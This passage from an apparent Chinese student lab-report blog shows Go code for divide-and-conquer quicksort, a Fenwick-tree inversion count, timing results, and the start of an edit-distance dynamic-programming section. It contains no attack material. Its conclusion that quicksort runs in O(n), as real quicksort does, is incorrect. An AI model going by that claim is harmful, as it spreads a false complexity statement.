align="center">400</td><td align="center">0.049</td></tr><tr><td align="center">420</td><td align="center">0.055</td></tr><tr><td align="center">440</td><td align="center">0.05</td></tr><tr><td align="center">460</td><td align="center">0.057</td></tr><tr><td align="center">480</td><td align="center">0.044</td></tr><tr><td align="center">500</td><td align="center">0.1</td></tr><tr><td align="center">520</td><td align="center">0.112</td></tr><tr><td align="center">540</td><td align="center">0.083</td></tr><tr><td align="center">560</td><td align="center">0.073</td></tr><tr><td align="center">580</td><td align="center">0.063</td></tr><tr><td align="center">600</td><td align="center">0.091</td></tr><tr><td align="center">620</td><td align="center">0.128</td></tr><tr><td align="center">640</td><td align="center">0.114</td></tr><tr><td align="center">660</td><td align="center">0.108</td></tr><tr><td align="center">680</td><td align="center">0.096</td></tr><tr><td align="center">700</td><td align="center">0.154</td></tr><tr><td align="center">720</td><td align="center">0.172</td></tr><tr><td align="center">740</td><td align="center">0.114</td></tr><tr><td align="center">760</td><td align="center">0.186</td></tr><tr><td align="center">780</td><td align="center">0.169</td></tr><tr><td align="center">800</td><td align="center">0.204</td></tr><tr><td align="center">820</td><td align="center">0.193</td></tr><tr><td align="center">840</td><td align="center">0.236</td></tr><tr><td align="center">860</td><td align="center">0.231</td></tr><tr><td align="center">880</td><td align="center">0.212</td></tr><tr><td align="center">900</td><td align="center">0.216</td></tr><tr><td align="center">920</td><td align="center">0.259</td></tr><tr><td align="center">940</td><td align="center">0.316</td></tr><tr><td align="center">960</td><td align="center">0.265</td></tr><tr><td align="center">980</td><td align="center">0.187</td></tr><tr><td align="center">1000</td><td align="center">0.281</td></tr></tbody></table><p><img src="/images/pasted-645.png" alt="upload successful"></p><h3 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h3><p>excel</p><p>c++</p><p>CLion</p><h3 id="疑难小结"><a href="#疑难小结" class="headerlink" title="疑难小结"></a>疑难小结</h3><ol><li><p>学会了通过运行时间来看时间复杂度，更具有可观性</p></li><li><p>学会了如何造数据，使用随机产生数据，加边</p></li><li><p>本次实验还是有缺陷，对于n个节点，但是边的个数还是随机的，对时间复杂度是有影响的，造成产生的数据不太理想</p></li><li><p>由于程序运行过快，有时无法计算时间，所以采用sleep函数，相当于将函数上移动，来更好的展示运算时间，并不影响实验结果</p><h2 id="分治算法应用-分治法进行快速排序"><a href="#分治算法应用-分治法进行快速排序" class="headerlink" title="分治算法应用(分治法进行快速排序)"></a>分治算法应用(分治法进行快速排序)</h2><h3 id="1-实验过程-请用简单的文字描述"><a href="#1-实验过程-请用简单的文字描述" class="headerlink" title="1.实验过程(请用简单的文字描述)"></a>1.实验过程(请用简单的文字描述)</h3></li><li><p><strong>分治法的核心思想:</strong></p><p>对于一个规模为n的问题</p></li></ol><ul><li>若该问题可以很容易地解决则直接解决</li><li>否则将其分解为k个规模较小地子问题，子问题互为相互独立且与原问题形式相同，<strong>递归地解</strong>这些子问题，然后将各个子问题地解合并到原来问题。</li></ul><ol start="2"><li>使用随机数构建数据</li><li>使用逆序对，观察无序度与求解用时之间的关系，采用树状数组降低逆序对的时间复杂度</li><li>实验计划: 使用golang进行编写</li></ol><h3 id="实验详细操作步骤或程序清单-1"><a href="#实验详细操作步骤或程序清单-1" class="headerlink" title="实验详细操作步骤或程序清单"></a>实验详细操作步骤或程序清单</h3><ol><li><p>造数据</p><p>使用rand()随机数生成[0:3000]随机数</p></li><li><p>数据可视化</p><p>使用excel快速生成线性图</p></li><li><p>程序清单</p><ul><li><p>分治法实现快排</p><pre class=" language-go"><code class="language-go"><span class="token keyword">func</span> <span class="token function">quicksort</span><span class="token punctuation">(</span>mapp <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> start <span class="token builtin">int</span><span class="token punctuation">,</span> end <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token keyword">if</span> start <span class="token operator">>=</span> end <span class="token punctuation">{</span>        <span class="token keyword">return</span>    <span class="token punctuation">}</span>    mid <span class="token operator">:=</span> mapp<span class="token punctuation">[</span>end<span class="token punctuation">]</span>    left <span class="token operator">:=</span> start    right <span class="token operator">:=</span> end <span class="token operator">-</span> <span class="token number">1</span>    <span class="token keyword">for</span> left <span class="token operator">&lt;</span> right <span class="token punctuation">{</span>        <span class="token keyword">for</span> mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span> <span class="token operator">&lt;=</span> mid <span class="token operator">&amp;&amp;</span> left <span class="token operator">&lt;</span> right <span class="token punctuation">{</span>            left<span class="token operator">++</span>        <span class="token punctuation">}</span>        <span class="token keyword">for</span> mapp<span class="token punctuation">[</span>right<span class="token punctuation">]</span> <span class="token operator">>=</span> mid <span class="token operator">&amp;&amp;</span> left <span class="token operator">&lt;</span> right <span class="token punctuation">{</span>            right<span class="token operator">--</span>        <span class="token punctuation">}</span>        mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span><span class="token punctuation">,</span> mapp<span class="token punctuation">[</span>right<span class="token punctuation">]</span> <span class="token operator">=</span> mapp<span class="token punctuation">[</span>right<span class="token punctuation">]</span><span class="token punctuation">,</span> mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span>    <span class="token punctuation">}</span>    <span class="token keyword">if</span> mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span> <span class="token operator">>=</span> mapp<span class="token punctuation">[</span>end<span class="token punctuation">]</span> <span class="token punctuation">{</span>        mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span><span class="token punctuation">,</span> mapp<span class="token punctuation">[</span>end<span class="token punctuation">]</span> <span class="token operator">=</span> mapp<span class="token punctuation">[</span>end<span class="token punctuation">]</span><span class="token punctuation">,</span> mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span>    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>        left<span class="token operator">++</span>    <span class="token punctuation">}</span>    <span class="token function">quicksort</span><span class="token punctuation">(</span>mapp<span class="token punctuation">,</span> start<span class="token punctuation">,</span> left<span class="token number">-1</span><span class="token punctuation">)</span>    <span class="token function">quicksort</span><span class="token punctuation">(</span>mapp<span class="token punctuation">,</span> left<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">,</span> end<span class="token punctuation">)</span><span class="token punctuation">}</span></code></pre></li><li><p>基于树状数组逆序度计算</p><pre class=" language-go"><code class="language-go"><span class="token keyword">func</span> <span class="token function">RandInt</span><span class="token punctuation">(</span>min<span class="token punctuation">,</span> max <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">int</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//生成随机数</span>    <span class="token keyword">if</span> min <span class="token operator">>=</span> max <span class="token operator">||</span> min <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> max <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> max    <span class="token punctuation">}</span>    <span class="token keyword">return</span> rand<span class="token punctuation">.</span><span class="token function">Intn</span><span class="token punctuation">(</span>max<span class="token operator">-</span>min<span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">add</span><span class="token punctuation">(</span>number <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//构造树状数组</span>    <span class="token keyword">for</span> number <span class="token operator">&lt;=</span> n <span class="token punctuation">{</span>        a<span class="token punctuation">[</span>number<span class="token punctuation">]</span><span class="token operator">++</span>        number <span class="token operator">+=</span> number <span class="token operator">&amp;</span> <span class="token punctuation">(</span><span class="token operator">-</span>number<span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">sum</span><span class="token punctuation">(</span>number <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">int</span> <span class="token punctuation">{</span>    <span class="token keyword">var</span> ros <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">for</span> number <span class="token operator">></span> <span class="token number">0</span> <span class="token punctuation">{</span>        ros <span class="token operator">+=</span> a<span class="token punctuation">[</span>number<span class="token punctuation">]</span>        number <span class="token operator">-=</span> number <span class="token operator">&amp;</span> <span class="token punctuation">(</span><span class="token operator">-</span>number<span class="token punctuation">)</span>    <span class="token punctuation">}</span>    <span class="token keyword">return</span> ros<span class="token punctuation">}</span></code></pre></li></ul><p>4.总代码</p><pre class=" language-go"><code class="language-go"><span class="token keyword">package</span> main<span class="token keyword">import</span> <span class="token punctuation">(</span>    <span class="token string">"fmt"</span>    <span class="token string">"math/rand"</span>    <span class="token string">"time"</span><span class="token punctuation">)</span><span class="token keyword">const</span> maxm <span class="token operator">=</span> <span class="token number">1e6</span> <span class="token operator">+</span> <span class="token number">100</span><span class="token keyword">type</span> edge <span class="token keyword">struct</span> <span class="token punctuation">{</span>    v<span class="token punctuation">,</span> indexX <span class="token builtin">int</span><span class="token punctuation">}</span><span class="token keyword">type</span> outdate <span class="token keyword">struct</span> <span class="token punctuation">{</span>    num      <span class="token builtin">int</span>    since    <span class="token builtin">int</span>    ReNumber <span class="token builtin">int</span><span class="token punctuation">}</span><span class="token keyword">var</span> <span class="token punctuation">(</span>    a    <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span>    n    <span class="token builtin">int</span>    mapp <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">RandInt</span><span class="token punctuation">(</span>min<span class="token punctuation">,</span> max <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">int</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//生成随机数</span>    <span class="token keyword">if</span> min <span class="token operator">>=</span> max <span class="token operator">||</span> min <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> max <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> max    <span class="token punctuation">}</span>    <span class="token keyword">return</span> rand<span class="token punctuation">.</span><span class="token function">Intn</span><span class="token punctuation">(</span>max<span class="token operator">-</span>min<span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">add</span><span class="token punctuation">(</span>number <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">//构造树状数组</span>    <span class="token keyword">for</span> number <span class="token operator">&lt;=</span> n <span class="token punctuation">{</span>        a<span class="token punctuation">[</span>number<span class="token punctuation">]</span><span class="token operator">++</span>        number <span class="token operator">+=</span> number <span class="token operator">&amp;</span> <span class="token punctuation">(</span><span class="token operator">-</span>number<span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">sum</span><span class="token punctuation">(</span>number <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">int</span> <span class="token punctuation">{</span>    <span class="token keyword">var</span> ros <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">for</span> number <span class="token operator">></span> <span class="token number">0</span> <span class="token punctuation">{</span>        ros <span class="token operator">+=</span> a<span class="token punctuation">[</span>number<span class="token punctuation">]</span>        number <span class="token operator">-=</span> number <span class="token operator">&amp;</span> <span class="token punctuation">(</span><span class="token operator">-</span>number<span class="token punctuation">)</span>    <span class="token punctuation">}</span>    <span class="token keyword">return</span> ros<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">quicksort</span><span class="token punctuation">(</span>mapp <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> start <span class="token builtin">int</span><span class="token punctuation">,</span> end <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token keyword">if</span> start <span class="token operator">>=</span> end <span class="token punctuation">{</span>        <span class="token keyword">return</span>    <span class="token punctuation">}</span>    mid <span class="token operator">:=</span> mapp<span class="token punctuation">[</span>end<span class="token punctuation">]</span>    left <span class="token operator">:=</span> start    right <span class="token operator">:=</span> end <span class="token operator">-</span> <span class="token number">1</span>    <span class="token keyword">for</span> left <span class="token operator">&lt;</span> right <span class="token punctuation">{</span>        <span class="token keyword">for</span> mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span> <span class="token operator">&lt;=</span> mid <span class="token operator">&amp;&amp;</span> left <span class="token operator">&lt;</span> right <span class="token punctuation">{</span>            left<span class="token operator">++</span>        <span class="token punctuation">}</span>        <span class="token keyword">for</span> mapp<span class="token punctuation">[</span>right<span class="token punctuation">]</span> <span class="token operator">>=</span> mid <span class="token operator">&amp;&amp;</span> left <span class="token operator">&lt;</span> right <span class="token punctuation">{</span>            right<span class="token operator">--</span>        <span class="token punctuation">}</span>        mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span><span class="token punctuation">,</span> mapp<span class="token punctuation">[</span>right<span class="token punctuation">]</span> <span class="token operator">=</span> mapp<span class="token punctuation">[</span>right<span class="token punctuation">]</span><span class="token punctuation">,</span> mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span>    <span class="token punctuation">}</span>    <span class="token keyword">if</span> mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span> <span class="token operator">>=</span> mapp<span class="token punctuation">[</span>end<span class="token punctuation">]</span> <span class="token punctuation">{</span>        mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span><span class="token punctuation">,</span> mapp<span class="token punctuation">[</span>end<span class="token punctuation">]</span> <span class="token operator">=</span> mapp<span class="token punctuation">[</span>end<span class="token punctuation">]</span><span class="token punctuation">,</span> mapp<span class="token punctuation">[</span>left<span class="token punctuation">]</span>    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>        left<span class="token operator">++</span>    <span class="token punctuation">}</span>    <span class="token function">quicksort</span><span class="token punctuation">(</span>mapp<span class="token punctuation">,</span> start<span class="token punctuation">,</span> left<span class="token number">-1</span><span class="token punctuation">)</span>    <span class="token function">quicksort</span><span class="token punctuation">(</span>mapp<span class="token punctuation">,</span> left<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">,</span> end<span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    outDate <span class="token operator">:=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token keyword">map</span><span class="token punctuation">[</span><span class="token builtin">int</span><span class="token punctuation">]</span>outdate<span class="token punctuation">)</span>    <span class="token keyword">var</span> ran <span class="token operator">=</span> <span class="token number">1</span>    <span class="token keyword">for</span> n <span class="token operator">=</span> <span class="token number">5000</span><span class="token punctuation">;</span> n <span class="token operator">&lt;</span> <span class="token number">70000</span><span class="token punctuation">;</span> n<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> n<span class="token operator">%</span><span class="token number">1000</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token punctuation">{</span>            <span class="token keyword">continue</span>        <span class="token punctuation">}</span>        a <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> maxm<span class="token punctuation">)</span>     <span class="token comment" spellcheck="true">//初始化a</span>        mapp <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> maxm<span class="token punctuation">)</span>  <span class="token comment" spellcheck="true">//初始化mapp</span>        num <span class="token operator">:=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token keyword">map</span><span class="token punctuation">[</span><span class="token builtin">int</span><span class="token punctuation">]</span>edge<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">//初始化num</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>            mapp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">RandInt</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span>            num<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> edge<span class="token punctuation">{</span>mapp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> i<span class="token punctuation">}</span>        <span class="token punctuation">}</span>        <span class="token keyword">var</span> ans <span class="token builtin">int</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>            <span class="token function">add</span><span class="token punctuation">(</span>num<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>v<span class="token punctuation">)</span>            ans <span class="token operator">+=</span> i <span class="token operator">-</span> <span class="token function">sum</span><span class="token punctuation">(</span>num<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>v<span class="token punctuation">)</span>        <span class="token punctuation">}</span>        timeStart <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Now</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        time<span class="token punctuation">.</span><span class="token function">Sleep</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token function">quicksort</span><span class="token punctuation">(</span>mapp<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span>        time <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Since</span><span class="token punctuation">(</span>timeStart<span class="token punctuation">)</span>        <span class="token keyword">var</span> lnng <span class="token builtin">int</span>        lnng <span class="token operator">=</span> <span class="token function">int</span><span class="token punctuation">(</span>time<span class="token punctuation">)</span>        outDate<span class="token punctuation">[</span>ran<span class="token punctuation">]</span> <span class="token operator">=</span> outdate<span class="token punctuation">{</span>n<span class="token punctuation">,</span> lnng<span class="token punctuation">,</span> ans<span class="token punctuation">}</span>        ran<span class="token operator">++</span>    <span class="token punctuation">}</span>    fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span><span class="token string">"n"</span><span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> <span class="token string">"运行时间"</span><span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> <span class="token string">"逆序数"</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token function">len</span><span class="token punctuation">(</span>outDate<span class="token punctuation">)</span><span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>        fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span>outDate<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>num<span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> outDate<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>since<span class="token punctuation">,</span> <span class="token string">"\t"</span><span class="token punctuation">,</span> outDate<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span>ReNumber<span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><h3 id="实验结果-1"><a href="#实验结果-1" class="headerlink" title="实验结果"></a>实验结果</h3><h4 id="程序运行结果"><a href="#程序运行结果" class="headerlink" title="程序运行结果"></a>程序运行结果</h4></li></ol><p>n     运行时间      逆序数      关系</p><pre class=" language-go"><code class="language-go">n      运行时间      逆序数<span class="token number">5000</span>      <span class="token number">1994200</span>      <span class="token number">6356121</span><span class="token number">6000</span>      <span class="token number">1995100</span>      <span class="token number">9040812</span><span class="token number">7000</span>      <span class="token number">1995000</span>      <span class="token number">12396920</span><span class="token number">8000</span>      <span class="token number">1007400</span>      <span class="token number">16006480</span><span class="token number">9000</span>      <span class="token number">1007100</span>      <span class="token number">20515333</span><span class="token number">10000</span>      <span class="token number">1007200</span>      <span class="token number">24850212</span><span class="token number">11000</span>      <span class="token number">1035900</span>      <span class="token number">30253245</span><span class="token number">12000</span>      <span class="token number">2003100</span>      <span class="token number">35732922</span><span class="token number">13000</span>      <span class="token number">2061800</span>      <span class="token number">42291037</span><span class="token number">14000</span>      <span class="token number">2036400</span>      <span class="token number">49252042</span><span class="token number">15000</span>      <span class="token number">1074600</span>      <span class="token number">56332533</span><span class="token number">16000</span>      <span class="token number">1995100</span>      <span class="token number">64094125</span><span class="token number">17000</span>      <span class="token number">1960800</span>      <span class="token number">71984640</span><span class="token number">18000</span>      <span class="token number">2991700</span>      <span class="token number">81453485</span><span class="token number">19000</span>      <span class="token number">2992000</span>      <span class="token number">90144560</span><span class="token number">20000</span>      <span class="token number">2991900</span>      <span class="token number">99901035</span><span class="token number">21000</span>      <span class="token number">1995400</span>      <span class="token number">110389537</span><span class="token number">22000</span>      <span class="token number">1994800</span>      <span class="token number">121226617</span><span class="token number">23000</span>      <span class="token number">1994900</span>      <span class="token number">132573949</span><span class="token number">24000</span>      <span class="token number">1960600</span>      <span class="token number">143831396</span><span class="token number">25000</span>      <span class="token number">1994600</span>      <span class="token number">157058071</span><span class="token number">26000</span>      <span class="token number">2991600</span>      <span class="token number">169758526</span><span class="token number">27000</span>      <span class="token number">1994700</span>      <span class="token number">181467202</span><span class="token number">28000</span>      <span class="token number">1994800</span>      <span class="token number">195298608</span><span class="token number">29000</span>      <span class="token number">2990700</span>      <span class="token number">208739750</span><span class="token number">30000</span>      <span class="token number">2961700</span>      <span class="token number">224304156</span><span class="token number">31000</span>      <span class="token number">2991900</span>      <span class="token number">239514881</span><span class="token number">32000</span>      <span class="token number">3024000</span>      <span class="token number">256139437</span><span class="token number">33000</span>      <span class="token number">2993100</span>      <span class="token number">273357833</span><span class="token number">34000</span>      <span class="token number">2991500</span>      <span class="token number">288262128</span><span class="token number">35000</span>      <span class="token number">3989400</span>      <span class="token number">303134819</span><span class="token number">36000</span>      <span class="token number">3972700</span>      <span class="token number">324349369</span><span class="token number">37000</span>      <span class="token number">2992400</span>      <span class="token number">341968957</span><span class="token number">38000</span>      <span class="token number">2992000</span>      <span class="token number">362811077</span><span class="token number">39000</span>      <span class="token number">3023000</span>      <span class="token number">379705268</span><span class="token number">40000</span>      <span class="token number">2991800</span>      <span class="token number">401399685</span><span class="token number">41000</span>      <span class="token number">3960900</span>      <span class="token number">418710348</span><span class="token number">42000</span>      <span class="token number">2991400</span>      <span class="token number">439585949</span><span class="token number">43000</span>      <span class="token number">2992700</span>      <span class="token number">459663399</span><span class="token number">44000</span>      <span class="token number">2991700</span>      <span class="token number">483275595</span><span class="token number">45000</span>      <span class="token number">4219700</span>      <span class="token number">505158612</span><span class="token number">46000</span>      <span class="token number">3989200</span>      <span class="token number">527494105</span><span class="token number">47000</span>      <span class="token number">4985200</span>      <span class="token number">551917130</span><span class="token number">48000</span>      <span class="token number">3989600</span>      <span class="token number">574285522</span><span class="token number">49000</span>      <span class="token number">3988700</span>      <span class="token number">602612851</span><span class="token number">50000</span>      <span class="token number">4986400</span>      <span class="token number">624353709</span><span class="token number">51000</span>      <span class="token number">5026700</span>      <span class="token number">650897222</span><span class="token number">52000</span>      <span class="token number">3987800</span>      <span class="token number">676202613</span><span class="token number">53000</span>      <span class="token number">4987400</span>      <span class="token number">702068237</span><span class="token number">54000</span>      <span class="token number">3988800</span>      <span class="token number">726560480</span><span class="token number">55000</span>      <span class="token number">4986000</span>      <span class="token number">754356142</span><span class="token number">56000</span>      <span class="token number">4986300</span>      <span class="token number">782166133</span><span class="token number">57000</span>      <span class="token number">4987200</span>      <span class="token number">812816980</span><span class="token number">58000</span>      <span class="token number">4985900</span>      <span class="token number">839324596</span><span class="token number">59000</span>      <span class="token number">5983200</span>      <span class="token number">873485002</span><span class="token number">60000</span>      <span class="token number">4985300</span>      <span class="token number">898002509</span><span class="token number">61000</span>      <span class="token number">4985100</span>      <span class="token number">931301443</span><span class="token number">62000</span>      <span class="token number">6944000</span>      <span class="token number">959866945</span><span class="token number">63000</span>      <span class="token number">4985100</span>      <span class="token number">992412366</span><span class="token number">64000</span>      <span class="token number">5020600</span>      <span class="token number">1027614728</span><span class="token number">65000</span>      <span class="token number">5019500</span>      <span class="token number">1058824736</span><span class="token number">66000</span>      <span class="token number">4986900</span>      <span class="token number">1084218111</span><span class="token number">67000</span>      <span class="token number">4984200</span>      <span class="token number">1120431731</span><span class="token number">68000</span>      <span class="token number">6950300</span>      <span class="token number">1155706503</span><span class="token number">69000</span>      <span class="token number">5014700</span>      <span class="token number">1191768434</span>进程 已完成，退出代码为 <span class="token number">0</span></code></pre><p><img src="/images/pasted-643.png" alt="upload successful"></p><h4 id="数据可视化"><a href="#数据可视化" class="headerlink" title="数据可视化"></a>数据可视化</h4><p>n与运算时间关系</p><p><img src="/images/pasted-644.png" alt="upload successful"><br>无序度与运行时间关系</p><p>通过数据可视化可以发现，时间复杂段是O(n),跟实际的快排算法的时间复杂度相同</p><p><img src="/images/pasted-646.png" alt="upload successful"></p><p>通过数据可视化可以发现 对于无序度和程序的运行时间来说 大致上也呈现出直线趋势</p><h3 id="实验环境-1"><a href="#实验环境-1" class="headerlink" title="实验环境"></a>实验环境</h3><p>goland </p><p>excel</p><h3 id="疑难小结-1"><a href="#疑难小结-1" class="headerlink" title="疑难小结"></a>疑难小结</h3><ol><li><p>最开始的时候对于无序度的计算有点懵，后来通过资料查询发现只需要计算 逆序对的个数就行了，然后绘制成图</p></li><li><p>以前对于时间复杂度的分析是通过计算类似 for 循环的层数计算的，没有通 过程序的运行时间确定过，通过本次实验从程序的运行时间的角度出发，我从更 详细的时间上面对这两种算法有了更加深刻的认识。</p></li><li><p>随机数的生成还有待改进</p><h2 id="动态规划算法应用-求解编辑距离"><a href="#动态规划算法应用-求解编辑距离" class="headerlink" title="动态规划算法应用(求解编辑距离)"></a>动态规划算法应用(求解编辑距离)</h2><h3 id="实验过程-请用简单的文字描述-1"><a href="#实验过程-请用简单的文字描述-1" class="headerlink" title="实验过程(请用简单的文字描述)"></a>实验过程(请用简单的文字描述)</h3></li><li><p><strong>动态规划法的核心思想</strong></p><p>•最优子结构性质</p><p>–原问题的最优解包含了其子问题的最优解，即原问题可以由子问题的最优解组合而成，这就使得问题可以拆分成若干个子问题。</p><p>•子问题重叠性质</p><p>–每次产生的子问题并不总是新问题，有些子问题被反复计算多次。</p></li><li><p>使用随机长度的字符串构建数据</p></li><li><p>使用m与n的之间的差来观察关系</p></li><li><p>实验计划:使用golang进行编写</p></li></ol><h3 id="实验详细操作步骤或程序清单-2"><a href="#实验详细操作步骤或程序清单-2" class="headerlink" title="实验详细操作步骤或程序清单"></a>实验详细操作步骤或程序清单</h3><ol><li><p>造数据</p><p>使用rand()生成随机数字，在将数字转化为字符串</p></li><li><p>数据可视化</p><p>使用excel快速生成线性图</p></li><li><p>程序清单</p><ul><li><p>动态规划法求解编辑距离</p><pre class=" language-go"><code class="language-go"><span class="token keyword">func</span> <span class="token function">minDistance</span><span class="token punctuation">(</span>word1 <span class="token builtin">string</span><span class="token punctuation">,</span> word2 <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    m <span class="token operator">:=</span> <span class="token function">len</span><span class="token punctuation">(</span>word1<span class="token punctuation">)</span>    n <span class="token operator">:=</span> <span class="token function">len</span><span class="token punctuation">(</span>word2<span class="token punctuation">)</span>    dp <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> m<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> m<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span>        dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">make</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token punctuation">}</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> m<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 列初始化</span>        dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> i    <span class="token punctuation">}</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 行初始化</span>        dp<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> i    <span class="token punctuation">}</span>    <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> m<span class="token punctuation">;</span> i<span 